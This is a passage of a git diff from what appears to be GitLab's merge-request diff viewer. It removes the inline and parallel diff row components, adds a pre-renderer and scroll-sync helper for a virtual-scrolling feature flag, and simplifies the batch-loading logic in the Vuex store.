- addCommentTooltip,
-} from './diff_row_utils';
-
-export default {
- components: {
- DiffGutterAvatars,
- GlIcon,
- },
- directives: {
- GlTooltip: GlTooltipDirective,
- SafeHtml,
- },
- props: {
- fileHash: {
- type: String,
- required: true,
- },
- filePath: {
- type: String,
- required: true,
- },
- line: {
- type: Object,
- required: true,
- },
- isBottom: {
- type: Boolean,
- required: false,
- default: false,
- },
- isCommented: {
- type: Boolean,
- required: false,
- default: false,
- },
- },
- data() {
- return {
- isHover: false,
- };
- },
- computed: {
- ...mapGetters(['isLoggedIn']),
- ...mapGetters('diffs', ['fileLineCoverage']),
- ...mapState({
- isHighlighted(state) {
- return isHighlighted(state, this.line, this.isCommented);
- },
- }),
- classNameMap() {
- return [
- this.line.type,
- {
- [CONTEXT_LINE_CLASS_NAME]: this.line.isContextLine,
- },
- ];
- },
- inlineRowId() {
- return this.line.line_code || `${this.fileHash}_${this.line.old_line}_${this.line.new_line}`;
- },
- coverageState() {
- return this.fileLineCoverage(this.filePath, this.line.new_line);
- },
- classNameMapCell() {
- return classNameMapCell({
- line: this.line,
- hll: this.isHighlighted,
- isLoggedIn: this.isLoggedIn,
- isHover: this.isHover,
- });
- },
- addCommentTooltip() {
- return addCommentTooltip(this.line);
- },
- shouldRenderCommentButton() {
- return shouldRenderCommentButton(this.isLoggedIn, true);
- },
- shouldShowCommentButton() {
- return shouldShowCommentButton(
- this.isHover,
- this.line.isContextLine,
- this.line.isMetaLine,
- this.line.hasDiscussions,
- );
- },
- shouldShowAvatarsOnGutter() {
- return this.line.hasDiscussions;
- },
- interopAttrs() {
- return getInteropInlineAttributes(this.line);
- },
- },
- mounted() {
- this.scrollToLineIfNeededInline(this.line);
- },
- methods: {
- ...mapActions('diffs', [
- 'scrollToLineIfNeededInline',
- 'showCommentForm',
- 'setHighlightedRow',
- 'toggleLineDiscussions',
- ]),
- handleMouseMove(e) {
- // To show the comment icon on the gutter we need to know if we hover the line.
- // Current table structure doesn't allow us to do this with CSS in both of the diff view types
- this.isHover = e.type === 'mouseover';
- },
- handleCommentButton() {
- this.showCommentForm({ lineCode: this.line.line_code, fileHash: this.fileHash });
- },
- },
-};
-</script>
-
-<template>
- <tr
- :id="inlineRowId"
- :class="classNameMap"
- class="line_holder"
- v-bind="interopAttrs"
- @mouseover="handleMouseMove"
- @mouseout="handleMouseMove"
- >
- <td ref="oldTd" class="diff-line-num old_line" :class="classNameMapCell">
- <span
- v-if="shouldRenderCommentButton"
- ref="addNoteTooltip"
- v-gl-tooltip
- class="add-diff-note tooltip-wrapper"
- :title="addCommentTooltip"
- >
- <button
- v-show="shouldShowCommentButton"
- ref="addDiffNoteButton"
- type="button"
- class="add-diff-note note-button js-add-diff-note-button"
- :disabled="line.commentsDisabled"
- :aria-label="addCommentTooltip"
- @click="handleCommentButton"
- >
- <gl-icon :size="12" name="comment" />
- </button>
- </span>
- <a
- v-if="line.old_line"
- ref="lineNumberRefOld"
- :data-linenumber="line.old_line"
- :href="line.lineHref"
- @click="setHighlightedRow(line.lineCode)"
- >
- </a>
- <diff-gutter-avatars
- v-if="shouldShowAvatarsOnGutter"
- :discussions="line.discussions"
- :discussions-expanded="line.discussionsExpanded"
- @toggleLineDiscussions="
- toggleLineDiscussions({
- lineCode: line.lineCode,
- fileHash,
- expanded: !line.discussionsExpanded,
- })
- "
- />
- </td>
- <td ref="newTd" class="diff-line-num new_line" :class="classNameMapCell">
- <a
- v-if="line.new_line"
- ref="lineNumberRefNew"
- :data-linenumber="line.new_line"
- :href="line.lineHref"
- @click="setHighlightedRow(line.lineCode)"
- >
- </a>
- </td>
- <td
- v-gl-tooltip.hover
- :title="coverageState.text"
- :class="[line.type, coverageState.class, { hll: isHighlighted }]"
- class="line-coverage"
- ></td>
- <td
- :key="line.line_code"
- v-safe-html="line.rich_text"
- :class="[
- line.type,
- {
- hll: isHighlighted,
- },
- ]"
- class="line_content with-coverage"
- ></td>
- </tr>
-</template>
diff --git a/app/assets/javascripts/diffs/components/inline_diff_view.vue b/app/assets/javascripts/diffs/components/inline_diff_view.vue
deleted file mode 100644
index e407609d9e9..00000000000
--- a/app/assets/javascripts/diffs/components/inline_diff_view.vue
+++ /dev/null
@@ -1,117 +0,0 @@
-<script>
-import { mapGetters, mapState } from 'vuex';
-import DraftNote from '~/batch_comments/components/draft_note.vue';
-import draftCommentsMixin from '~/diffs/mixins/draft_comments';
-import { getCommentedLines } from '~/notes/components/multiline_comment_utils';
-import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
-import DiffCommentCell from './diff_comment_cell.vue';
-import DiffExpansionCell from './diff_expansion_cell.vue';
-import inlineDiffTableRow from './inline_diff_table_row.vue';
-
-export default {
- components: {
- DiffCommentCell,
- inlineDiffTableRow,
- DraftNote,
- DiffExpansionCell,
- },
- mixins: [draftCommentsMixin, glFeatureFlagsMixin()],
- props: {
- diffFile: {
- type: Object,
- required: true,
- },
- diffLines: {
- type: Array,
- required: true,
- },
- helpPagePath: {
- type: String,
- required: false,
- default: '',
- },
- },
- computed: {
- ...mapGetters('diffs', ['commitId']),
- ...mapState({
- selectedCommentPosition: ({ notes }) => notes.selectedCommentPosition,
- selectedCommentPositionHover: ({ notes }) => notes.selectedCommentPositionHover,
- }),
- diffLinesLength() {
- return this.diffLines.length;
- },
- commentedLines() {
- return getCommentedLines(
- this.selectedCommentPosition || this.selectedCommentPositionHover,
- this.diffLines,
- );
- },
- },
- userColorScheme: window.gon.user_color_scheme,
-};
-</script>
-
-<template>
- <table
- :class="$options.userColorScheme"
- :data-commit-id="commitId"
- class="code diff-wrap-lines js-syntax-highlight text-file js-diff-inline-view"
- >
- <colgroup>
- <col style="width: 50px" />
- <col style="width: 50px" />
- <col style="width: 8px" />
- <col />
- </colgroup>
- <tbody>
- <template v-for="(line, index) in diffLines">
- <tr v-if="line.isMatchLine" :key="`expand-${index}`" class="line_expansion match">
- <td colspan="4" class="text-center gl-font-regular">
- <diff-expansion-cell
- :file-hash="diffFile.file_hash"
- :context-lines-path="diffFile.context_lines_path"
- :line="line"
- :is-top="index === 0"
- :is-bottom="index + 1 === diffLinesLength"
- />
- </td>
- </tr>
- <inline-diff-table-row
- v-if="!line.isMatchLine"
- :key="`${line.line_code || index}`"
- :file-hash="diffFile.file_hash"
- :file-path="diffFile.file_path"
- :line="line"
- :is-bottom="index + 1 === diffLinesLength"
- :is-commented="index >= commentedLines.startLine && index <= commentedLines.endLine"
- />
- <tr
- v-if="line.renderCommentRow"
- :key="`icr-${line.line_code || index}`"
- :class="line.commentRowClasses"
- class="notes_holder"
- >
- <td class="notes-content" colspan="4">
- <diff-comment-cell
- :diff-file-hash="diffFile.file_hash"
- :line="line"
- :help-page-path="helpPagePath"
- :has-draft="line.hasDraft"
- />
- </td>
- </tr>
- <tr v-if="line.hasDraft" :key="`draft_${index}`" class="notes_holder js-temp-notes-holder">
- <td class="notes-content" colspan="4">
- <div class="content">
- <draft-note
- :draft="draftForLine(diffFile.file_hash, line)"
- :diff-file="diffFile"
- :line="line"
- />
- </div>
- </td>
- </tr>
- </template>
- </tbody>
- </table>
-</template>
diff --git a/app/assets/javascripts/diffs/components/parallel_diff_table_row.vue b/app/assets/javascripts/diffs/components/parallel_diff_table_row.vue
deleted file mode 100644
index 2d33926c8aa..00000000000
--- a/app/assets/javascripts/diffs/components/parallel_diff_table_row.vue
+++ /dev/null
@@ -1,310 +0,0 @@
-<script>
-import { GlTooltipDirective, GlIcon, GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
-import $ from 'jquery';
-import { mapActions, mapGetters, mapState } from 'vuex';
-import { CONTEXT_LINE_CLASS_NAME, PARALLEL_DIFF_VIEW_TYPE } from '../constants';
-import {
- getInteropOldSideAttributes,
- getInteropNewSideAttributes,
-} from '../utils/interoperability';
-import DiffGutterAvatars from './diff_gutter_avatars.vue';
-import * as utils from './diff_row_utils';
-
-export default {
- components: {
- GlIcon,
- DiffGutterAvatars,
- },
- directives: {
- GlTooltip: GlTooltipDirective,
- SafeHtml,
- },
- props: {
- fileHash: {
- type: String,
- required: true,
- },
- filePath: {
- type: String,
- required: true,
- },
- line: {
- type: Object,
- required: true,
- },
- isBottom: {
- type: Boolean,
- required: false,
- default: false,
- },
- isCommented: {
- type: Boolean,
- required: false,
- default: false,
- },
- },
- data() {
- return {
- isLeftHover: false,
- isRightHover: false,
- isCommentButtonRendered: false,
- };
- },
- computed: {
- ...mapGetters('diffs', ['fileLineCoverage']),
- ...mapGetters(['isLoggedIn']),
- ...mapState({
- isHighlighted(state) {
- const line = this.line.left?.line_code ? this.line.left : this.line.right;
- return utils.isHighlighted(state, line, this.isCommented);
- },
- }),
- classNameMap() {
- return {
- [CONTEXT_LINE_CLASS_NAME]: this.line.isContextLineLeft,
- [PARALLEL_DIFF_VIEW_TYPE]: true,
- };
- },
- parallelViewLeftLineType() {
- return utils.parallelViewLeftLineType(this.line, this.isHighlighted);
- },
- coverageState() {
- return this.fileLineCoverage(this.filePath, this.line.right.new_line);
- },
- classNameMapCellLeft() {
- return utils.classNameMapCell({
- line: this.line.left,
- hll: this.isHighlighted,
- isLoggedIn: this.isLoggedIn,
- isHover: this.isLeftHover,
- });
- },
- classNameMapCellRight() {
- return utils.classNameMapCell({
- line: this.line.right,
- hll: this.isHighlighted,
- isLoggedIn: this.isLoggedIn,
- isHover: this.isRightHover,
- });
- },
- addCommentTooltipLeft() {
- return utils.addCommentTooltip(this.line.left);
- },
- addCommentTooltipRight() {
- return utils.addCommentTooltip(this.line.right);
- },
- shouldRenderCommentButton() {
- return utils.shouldRenderCommentButton(this.isLoggedIn, this.isCommentButtonRendered);
- },
- shouldShowCommentButtonLeft() {
- return utils.shouldShowCommentButton(
- this.isLeftHover,
- this.line.isContextLineLeft,
- this.line.isMetaLineLeft,
- this.line.hasDiscussionsLeft,
- );
- },
- shouldShowCommentButtonRight() {
- return utils.shouldShowCommentButton(
- this.isRightHover,
- this.line.isContextLineRight,
- this.line.isMetaLineRight,
- this.line.hasDiscussionsRight,
- );
- },
- interopLeftAttributes() {
- return getInteropOldSideAttributes(this.line.left);
- },
- interopRightAttributes() {
- return getInteropNewSideAttributes(this.line.right);
- },
- },
- mounted() {
- this.scrollToLineIfNeededParallel(this.line);
- this.unwatchShouldShowCommentButton = this.$watch(
- (vm) => [vm.shouldShowCommentButtonLeft, vm.shouldShowCommentButtonRight].join(),
- (newVal) => {
- if (newVal) {
- this.isCommentButtonRendered = true;
- this.unwatchShouldShowCommentButton();
- }
- },
- );
- },
- beforeDestroy() {
- this.unwatchShouldShowCommentButton();
- },
- methods: {
- ...mapActions('diffs', [
- 'scrollToLineIfNeededParallel',
- 'showCommentForm',
- 'setHighlightedRow',
- 'toggleLineDiscussions',
- ]),
- handleMouseMove(e) {
- const isHover = e.type === 'mouseover';
- const hoveringCell = e.target.closest('td');
- const allCellsInHoveringRow = Array.from(e.currentTarget.children);
- const hoverIndex = allCellsInHoveringRow.indexOf(hoveringCell);
-
- if (hoverIndex >= 3) {
- this.isRightHover = isHover;
- } else {
- this.isLeftHover = isHover;
- }
- },
- // Prevent text selecting on both sides of parallel diff view
- // Backport of the same code from legacy diff notes.
- handleParallelLineMouseDown(e) {
- const line = $(e.currentTarget);
- const table = line.closest('table');
-
- table.removeClass('left-side-selected right-side-selected');
- const [lineClass] = ['left-side', 'right-side'].filter((name) => line.hasClass(name));
-
- if (lineClass) {
- table.addClass(`${lineClass}-selected`);
- }
- },
- handleCommentButton(line) {
- this.showCommentForm({ lineCode: line.line_code, fileHash: this.fileHash });
- },
- },
-};
-</script>
-
-<template>
- <tr
- :class="classNameMap"
- class="line_holder"
- @mouseover="handleMouseMove"
- @mouseout="handleMouseMove"
- >
- <template v-if="line.left && !line.isMatchLineLeft">
- <td ref="oldTd" :class="classNameMapCellLeft" class="diff-line-num old_line">
- <span
- v-if="shouldRenderCommentButton"
- ref="addNoteTooltipLeft"
- v-gl-tooltip
- class="add-diff-note tooltip-wrapper"
- :title="addCommentTooltipLeft"
- >
- <button
- v-show="shouldShowCommentButtonLeft"
- ref="addDiffNoteButtonLeft"
- type="button"
- class="add-diff-note note-button js-add-diff-note-button"
- :disabled="line.left.commentsDisabled"
- :aria-label="addCommentTooltipLeft"
- @click="handleCommentButton(line.left)"
- >
- <gl-icon :size="12" name="comment" />
- </button>
- </span>
- <a
- v-if="line.left.old_line"
- ref="lineNumberRefOld"
- :data-linenumber="line.left.old_line"
- :href="line.lineHrefOld"
- @click="setHighlightedRow(line.lineCode)"
- >
- </a>
- <diff-gutter-avatars
- v-if="line.hasDiscussionsLeft"
- :discussions="line.left.discussions"
- :discussions-expanded="line.left.discussionsExpanded"
- @toggleLineDiscussions="
- toggleLineDiscussions({
- lineCode: line.left.line_code,
- fileHash,
- expanded: !line.left.discussionsExpanded,
- })
- "
- />
- </td>
- <td :class="parallelViewLeftLineType" class="line-coverage left-side"></td>
- <td
- :id="line.left.line_code"
- :key="line.left.line_code"
- v-safe-html="line.left.rich_text"
- :class="parallelViewLeftLineType"
- v-bind="interopLeftAttributes"
- class="line_content with-coverage parallel left-side"
- @mousedown="handleParallelLineMouseDown"
- ></td>
- </template>
- <template v-else>
- <td class="diff-line-num old_line empty-cell"></td>
- <td class="line-coverage left-side empty-cell"></td>
- <td class="line_content with-coverage parallel left-side empty-cell"></td>
- </template>
- <template v-if="line.right && !line.isMatchLineRight">
- <td ref="newTd" :class="classNameMapCellRight" class="diff-line-num new_line">
- <span
- v-if="shouldRenderCommentButton"
- ref="addNoteTooltipRight"
- v-gl-tooltip
- class="add-diff-note tooltip-wrapper"
- :title="addCommentTooltipRight"
- >
- <button
- v-show="shouldShowCommentButtonRight"
- ref="addDiffNoteButtonRight"
- type="button"
- class="add-diff-note note-button js-add-diff-note-button"
- :disabled="line.right.commentsDisabled"
- :aria-label="addCommentTooltipRight"
- @click="handleCommentButton(line.right)"
- >
- <gl-icon :size="12" name="comment" />
- </button>
- </span>
- <a
- v-if="line.right.new_line"
- ref="lineNumberRefNew"
- :data-linenumber="line.right.new_line"
- :href="line.lineHrefNew"
- @click="setHighlightedRow(line.lineCode)"
- >
- </a>
- <diff-gutter-avatars
- v-if="line.hasDiscussionsRight"
- :discussions="line.right.discussions"
- :discussions-expanded="line.right.discussionsExpanded"
- @toggleLineDiscussions="
- toggleLineDiscussions({
- lineCode: line.right.line_code,
- fileHash,
- expanded: !line.right.discussionsExpanded,
- })
- "
- />
- </td>
- <td
- v-gl-tooltip.hover
- :title="coverageState.text"
- :class="[line.right.type, coverageState.class, { hll: isHighlighted }]"
- class="line-coverage right-side"
- ></td>
- <td
- :id="line.right.line_code"
- :key="line.right.rich_text"
- v-safe-html="line.right.rich_text"
- :class="[
- line.right.type,
- {
- hll: isHighlighted,
- },
- ]"
- v-bind="interopRightAttributes"
- class="line_content with-coverage parallel right-side"
- @mousedown="handleParallelLineMouseDown"
- ></td>
- </template>
- <template v-else>
- <td class="diff-line-num old_line empty-cell"></td>
- <td class="line-coverage right-side empty-cell"></td>
- <td class="line_content with-coverage parallel right-side empty-cell"></td>
- </template>
- </tr>
-</template>
diff --git a/app/assets/javascripts/diffs/components/parallel_diff_view.vue b/app/assets/javascripts/diffs/components/parallel_diff_view.vue
deleted file mode 100644
index b167081a379..00000000000
--- a/app/assets/javascripts/diffs/components/parallel_diff_view.vue
+++ /dev/null
@@ -1,142 +0,0 @@
-<script>
-import { mapGetters, mapState } from 'vuex';
-import DraftNote from '~/batch_comments/components/draft_note.vue';
-import draftCommentsMixin from '~/diffs/mixins/draft_comments';
-import { getCommentedLines } from '~/notes/components/multiline_comment_utils';
-import DiffCommentCell from './diff_comment_cell.vue';
-import DiffExpansionCell from './diff_expansion_cell.vue';
-import parallelDiffTableRow from './parallel_diff_table_row.vue';
-
-export default {
- components: {
- DiffExpansionCell,
- parallelDiffTableRow,
- DiffCommentCell,
- DraftNote,
- },
- mixins: [draftCommentsMixin],
- props: {
- diffFile: {
- type: Object,
- required: true,
- },
- diffLines: {
- type: Array,
- required: true,
- },
- helpPagePath: {
- type: String,
- required: false,
- default: '',
- },
- },
- computed: {
- ...mapGetters('diffs', ['commitId']),
- ...mapState({
- selectedCommentPosition: ({ notes }) => notes.selectedCommentPosition,
- selectedCommentPositionHover: ({ notes }) => notes.selectedCommentPositionHover,
- }),
- diffLinesLength() {
- return this.diffLines.length;
- },
- commentedLines() {
- return getCommentedLines(
- this.selectedCommentPosition || this.selectedCommentPositionHover,
- this.diffLines,
- );
- },
- },
- userColorScheme: window.gon.user_color_scheme,
-};
-</script>
-
-<template>
- <table
- :class="$options.userColorScheme"
- :data-commit-id="commitId"
- class="code diff-wrap-lines js-syntax-highlight text-file"
- >
- <colgroup>
- <col style="width: 50px" />
- <col style="width: 8px" />
- <col />
- <col style="width: 50px" />
- <col style="width: 8px" />
- <col />
- </colgroup>
- <tbody>
- <template v-for="(line, index) in diffLines">
- <tr
- v-if="line.isMatchLineLeft || line.isMatchLineRight"
- :key="`expand-${index}`"
- class="line_expansion match"
- >
- <td colspan="6" class="text-center gl-font-regular">
- <diff-expansion-cell
- :file-hash="diffFile.file_hash"
- :context-lines-path="diffFile.context_lines_path"
- :line="line.left"
- :is-top="index === 0"
- :is-bottom="index + 1 === diffLinesLength"
- />
- </td>
- </tr>
- <parallel-diff-table-row
- :key="line.line_code"
- :file-hash="diffFile.file_hash"
- :file-path="diffFile.file_path"
- :line="line"
- :is-bottom="index + 1 === diffLinesLength"
- :is-commented="index >= commentedLines.startLine && index <= commentedLines.endLine"
- />
- <tr
- v-if="line.renderCommentRow"
- :key="`dcr-${line.line_code || index}`"
- :class="line.commentRowClasses"
- class="notes_holder"
- >
- <td class="notes-content parallel old" colspan="3">
- <diff-comment-cell
- v-if="line.left"
- :line="line.left"
- :diff-file-hash="diffFile.file_hash"
- :help-page-path="helpPagePath"
- :has-draft="line.left.hasDraft"
- line-position="left"
- />
- </td>
- <td class="notes-content parallel new" colspan="3">
- <diff-comment-cell
- v-if="line.right"
- :line="line.right"
- :diff-file-hash="diffFile.file_hash"
- :line-index="index"
- :help-page-path="helpPagePath"
- :has-draft="line.right.hasDraft"
- line-position="right"
- />
- </td>
- </tr>
- <tr
- v-if="shouldRenderParallelDraftRow(diffFile.file_hash, line)"
- :key="`drafts-${index}`"
- :class="line.draftRowClasses"
- class="notes_holder"
- >
- <td class="notes_line old"></td>
- <td class="notes-content parallel old" colspan="2">
- <div v-if="line.left && line.left.lineDraft.isDraft" class="content">
- <draft-note :draft="line.left.lineDraft" :line="line.left" />
- </div>
- </td>
- <td class="notes_line new"></td>
- <td class="notes-content parallel new" colspan="2">
- <div v-if="line.right && line.right.lineDraft.isDraft" class="content">
- <draft-note :draft="line.right.lineDraft" :line="line.right" />
- </div>
- </td>
- </tr>
- </template>
- </tbody>
- </table>
-</template>
diff --git a/app/assets/javascripts/diffs/components/pre_renderer.vue b/app/assets/javascripts/diffs/components/pre_renderer.vue
new file mode 100644
index 00000000000..c357aa2d924
--- /dev/null
+++ b/app/assets/javascripts/diffs/components/pre_renderer.vue
@@ -0,0 +1,84 @@
+<script>
+export default {
+ inject: ['vscrollParent'],
+ props: {
+ maxLength: {
+ type: Number,
+ required: true,
+ },
+ },
+ data() {
+ return {
+ nextIndex: -1,
+ nextItem: null,
+ startedRender: false,
+ width: 0,
+ };
+ },
+ mounted() {
+ this.width = this.$el.parentNode.offsetWidth;
+ window.test = this;
+
+ this.$_itemsWithSizeWatcher = this.$watch('vscrollParent.itemsWithSize', async () => {
+ await this.$nextTick();
+
+ const nextItem = this.findNextToRender();
+
+ if (nextItem) {
+ this.startedRender = true;
+ requestIdleCallback(() => {
+ this.nextItem = nextItem;
+
+ if (this.nextIndex === this.maxLength - 1) {
+ this.$nextTick(() => {
+ if (this.vscrollParent.itemsWithSize[this.maxLength - 1].size !== 0) {
+ this.clearRendering();
+ }
+ });
+ }
+ });
+ } else if (this.startedRender) {
+ this.clearRendering();
+ }
+ });
+ },
+ beforeDestroy() {
+ this.$_itemsWithSizeWatcher();
+ },
+ methods: {
+ clearRendering() {
+ this.nextItem = null;
+
+ if (this.maxLength === this.vscrollParent.itemsWithSize.length) {
+ this.$_itemsWithSizeWatcher();
+ }
+ },
+ findNextToRender() {
+ return this.vscrollParent.itemsWithSize.find(({ size }, index) => {
+ const isNext = size === 0;
+
+ if (isNext) {
+ this.nextIndex = index;
+ }
+
+ return isNext;
+ });
+ },
+ },
+};
+</script>
+
+<template>
+ <div v-if="nextItem" :style="{ width: `${width}px` }" class="gl-absolute diff-file-offscreen">
+ <slot
+ v-bind="{ item: nextItem.item, index: nextIndex, active: true, itemWithSize: nextItem }"
+ ></slot>
+ </div>
+</template>
+
+<style scoped>
+.diff-file-offscreen {
+ top: -200%;
+ left: -200%;
+}
+</style>
diff --git a/app/assets/javascripts/diffs/components/virtual_scroller_scroll_sync.js b/app/assets/javascripts/diffs/components/virtual_scroller_scroll_sync.js
new file mode 100644
index 00000000000..984c6f8c0c9
--- /dev/null
+++ b/app/assets/javascripts/diffs/components/virtual_scroller_scroll_sync.js
@@ -0,0 +1,51 @@
+import { handleLocationHash } from '~/lib/utils/common_utils';
+
+export default {
+ inject: ['vscrollParent'],
+ props: {
+ index: {
+ type: Number,
+ required: true,
+ },
+ },
+ watch: {
+ index: {
+ handler() {
+ const { index } = this;
+
+ if (index < 0) return;
+
+ if (this.vscrollParent.itemsWithSize[index].size) {
+ this.scrollToIndex(index);
+ } else {
+ this.$_itemsWithSizeWatcher = this.$watch('vscrollParent.itemsWithSize', async () => {
+ await this.$nextTick();
+
+ if (this.vscrollParent.itemsWithSize[index].size) {
+ this.$_itemsWithSizeWatcher();
+ this.scrollToIndex(index);
+
+ await this.$nextTick();
+ }
+ });
+ }
+ },
+ immediate: true,
+ },
+ },
+ beforeDestroy() {
+ if (this.$_itemsWithSizeWatcher) this.$_itemsWithSizeWatcher();
+ },
+ methods: {
+ scrollToIndex(index) {
+ this.vscrollParent.scrollToItem(index);
+
+ setTimeout(() => {
+ handleLocationHash();
+ });
+ },
+ },
+ render(h) {
+ return h(null);
+ },
+};
diff --git a/app/assets/javascripts/diffs/constants.js b/app/assets/javascripts/diffs/constants.js
index d1e02fbc598..f1cf556fde0 100644
--- a/app/assets/javascripts/diffs/constants.js
+++ b/app/assets/javascripts/diffs/constants.js
@@ -59,7 +59,6 @@ export const MIN_RENDERING_MS = 2;
export const START_RENDERING_INDEX = 200;
export const INLINE_DIFF_LINES_KEY = 'highlighted_diff_lines';
export const PARALLEL_DIFF_LINES_KEY = 'parallel_diff_lines';
-export const DIFFS_PER_PAGE = 20;
export const DIFF_COMPARE_BASE_VERSION_INDEX = -1;
export const DIFF_COMPARE_HEAD_VERSION_INDEX = -2;
diff --git a/app/assets/javascripts/diffs/index.js b/app/assets/javascripts/diffs/index.js
index 0ab72749760..ea83523008c 100644
--- a/app/assets/javascripts/diffs/index.js
+++ b/app/assets/javascripts/diffs/index.js
@@ -50,9 +50,6 @@ export default function initDiffsApp(store) {
click: this.openFile,
},
class: ['diff-file-finder'],
- style: {
- display: this.fileFinderVisible ? '' : 'none',
- },
});
},
});
diff --git a/app/assets/javascripts/diffs/store/actions.js b/app/assets/javascripts/diffs/store/actions.js
index 2e94f147086..66510edf3db 100644
--- a/app/assets/javascripts/diffs/store/actions.js
+++ b/app/assets/javascripts/diffs/store/actions.js
@@ -25,7 +25,6 @@ import {
MIN_RENDERING_MS,
START_RENDERING_INDEX,
INLINE_DIFF_LINES_KEY,
- DIFFS_PER_PAGE,
DIFF_FILE_MANUAL_COLLAPSE,
DIFF_FILE_AUTOMATIC_COLLAPSE,
EVT_PERF_MARK_FILE_TREE_START,
@@ -92,22 +91,18 @@ export const setBaseConfig = ({ commit }, options) => {
};
export const fetchDiffFilesBatch = ({ commit, state, dispatch }) => {
- const diffsGradualLoad = window.gon?.features?.diffsGradualLoad;
- let perPage = DIFFS_PER_PAGE;
+ let perPage = state.viewDiffsFileByFile ? 1 : 5;
let increaseAmount = 1.4;
-
- if (diffsGradualLoad) {
- perPage = state.viewDiffsFileByFile ? 1 : 5;
- }
-
- const startPage = diffsGradualLoad ? 0 : 1;
+ const startPage = 0;
const id = window?.location?.hash;
const isNoteLink = id.indexOf('#note') === 0;
const urlParams = {
w: state.showWhitespace ? '0' : '1',
view: 'inline',
};
+ const hash = window.location.hash.replace('#', '').split('diff-content-').pop();
let totalLoaded = 0;
+ let scrolledVirtualScroller = false;
commit(types.SET_BATCH_LOADING, true);
commit(types.SET_RETRIEVING_BATCHES, true);
@@ -122,6 +117,18 @@ export const fetchDiffFilesBatch = ({ commit, state, dispatch }) => {
commit(types.SET_DIFF_DATA_BATCH, { diff_files });
commit(types.SET_BATCH_LOADING, false);
+ if (window.gon?.features?.diffsVirtualScrolling && !scrolledVirtualScroller) {
+ const index = state.diffFiles.findIndex(
+ (f) =>
+ f.file_hash === hash || f[INLINE_DIFF_LINES_KEY].find((l) => l.line_code === hash),
+ );
+
+ if (index >= 0) {
+ eventHub.$emit('scrollToIndex', index);
+ scrolledVirtualScroller = true;
+ }
+ }
+
if (!isNoteLink && !state.currentDiffFileId) {
commit(types.VIEW_DIFF_FILE, diff_files[0].file_hash);
}
@@ -130,11 +137,7 @@ export const fetchDiffFilesBatch = ({ commit, state, dispatch }) => {
dispatch('setCurrentDiffFileIdFromNote', id.split('_').pop());
}
- if (
- (diffsGradualLoad &&
- (totalLoaded === pagination.total_pages || pagination.total_pages === null)) ||
- (!diffsGradualLoad && !pagination.next_page)
- ) {
+ if (totalLoaded === pagination.total_pages || pagination.total_pages === null) {
commit(types.SET_RETRIEVING_BATCHES, false);
// We need to check that the currentDiffFileId points to a file that exists
@@ -164,15 +167,11 @@ export const fetchDiffFilesBatch = ({ commit, state, dispatch }) => {
return null;
}
- if (diffsGradualLoad) {
- const nextPage = page + perPage;
- perPage = Math.min(Math.ceil(perPage * increaseAmount), 30);
- increaseAmount = Math.min(increaseAmount + 0.2, 2);
-
- return nextPage;
- }
+ const nextPage = page + perPage;
+ perPage = Math.min(Math.ceil(perPage * increaseAmount), 30);
+ increaseAmount = Math.min(increaseAmount + 0.2, 2);
- return pagination.next_page;
+ return nextPage;
})
.then((nextPage) => {
dispatch('startRenderDiffsQueue');
@@ -186,7 +185,7 @@ export const fetchDiffFilesBatch = ({ commit, state, dispatch }) => {
.catch(() => commit(types.SET_RETRIEVING_BATCHES, false));
return getBatch()
- .then(handleLocationHash)
+ .then(() => !window.gon?.features?.diffsVirtualScrolling && handleLocationHash())
.catch(() => null);
};
@@ -250,6 +249,8 @@ export const setHighlightedRow = ({ commit }, lineCode) => {
const fileHash = lineCode.split('_')[0];
commit(types.SET_HIGHLIGHTED_ROW, lineCode);
commit(types.VIEW_DIFF_FILE, fileHash);
+
+ handleLocationHash();
};
// This is adding line discussions to the actual lines in the diff tree
@@ -523,9 +524,18 @@ export const scrollToFile = ({ state, commit }, path) => {
if (!state.treeEntries[path]) return;
const { fileHash } = state.treeEntries[path];
- document.location.hash = fileHash;
commit(types.VIEW_DIFF_FILE, fileHash);
+
+ if (window.gon?.features?.diffsVirtualScrolling) {
+ eventHub.$emit('scrollToFileHash', fileHash);
+
+ setTimeout(() => {
+ window.history.replaceState(null, null, `#${fileHash}`);
+ });
+ } else {
+ document.location.hash = fileHash;
+ }
};
export const setShowTreeList = ({ commit }, { showTreeList, saving = true }) => {
@@ -570,7 +580,7 @@ export const setShowWhitespace = async (
{ state, commit },
{ url, showWhitespace, updateDatabase = true },
) => {
- if (updateDatabase) {
+ if (updateDatabase && Boolean(window.gon?.current_user_id)) {
await axios.put(url || state.endpointUpdateUser, { show_whitespace_in_diffs: showWhitespace });
}
diff --git a/app/assets/javascripts/diffs/store/getters.js b/app/assets/javascripts/diffs/store/getters.js
index a536db5c417..1b6a673925f 100644
--- a/app/assets/javascripts/diffs/store/getters.js
+++ b/app/assets/javascripts/diffs/store/getters.js
@@ -151,11 +151,7 @@ export const currentDiffIndex = (state) =>
state.diffFiles.findIndex((diff) => diff.file_hash === state.currentDiffFileId),
);
-export const diffLines = (state) => (file, unifiedDiffComponents) => {
- if (!unifiedDiffComponents && state.diffViewType === INLINE_DIFF_VIEW_TYPE) {
- return null;
- }
-
+export const diffLines = (state) => (file) => {
return parallelizeDiffLines(
file.highlighted_diff_lines || [],
state.diffViewType === INLINE_DIFF_VIEW_TYPE,
diff --git a/app/assets/javascripts/diffs/store/getters_versions_dropdowns.js b/app/assets/javascripts/diffs/store/getters_versions_dropdowns.js
index 673ec821b58..65ffd42fa27 100644
--- a/app/assets/javascripts/diffs/store/getters_versions_dropdowns.js
+++ b/app/assets/javascripts/diffs/store/getters_versions_dropdowns.js
@@ -1,4 +1,5 @@
-import { getParameterByName, parseBoolean } from '~/lib/utils/common_utils';
+import { parseBoolean } from '~/lib/utils/common_utils';
+import { getParameterByName } from '~/lib/utils/url_utility';
import { __, n__, sprintf } from '~/locale';
import { DIFF_COMPARE_BASE_VERSION_INDEX, DIFF_COMPARE_HEAD_VERSION_INDEX } from '../constants';
diff --git a/app/assets/javascripts/diffs/store/utils.js b/app/assets/javascripts/diffs/store/utils.js
index 75d2cf43b94..3f1af68e37a 100644
--- a/app/assets/javascripts/diffs/store/utils.js
+++ b/app/assets/javascripts/diffs/store/utils.js
@@ -381,9 +381,15 @@ function prepareDiffFileLines(file) {
}
function finalizeDiffFile(file, index) {
+ let renderIt = Boolean(window.gon?.features?.diffsVirtualScrolling);
+
+ if (!window.gon?.features?.diffsVirtualScrolling) {
+ renderIt =
+ index < 3 ? file[INLINE_DIFF_LINES_KEY].length < LINES_TO_BE_RENDERED_DIRECTLY : false;
+ }
+
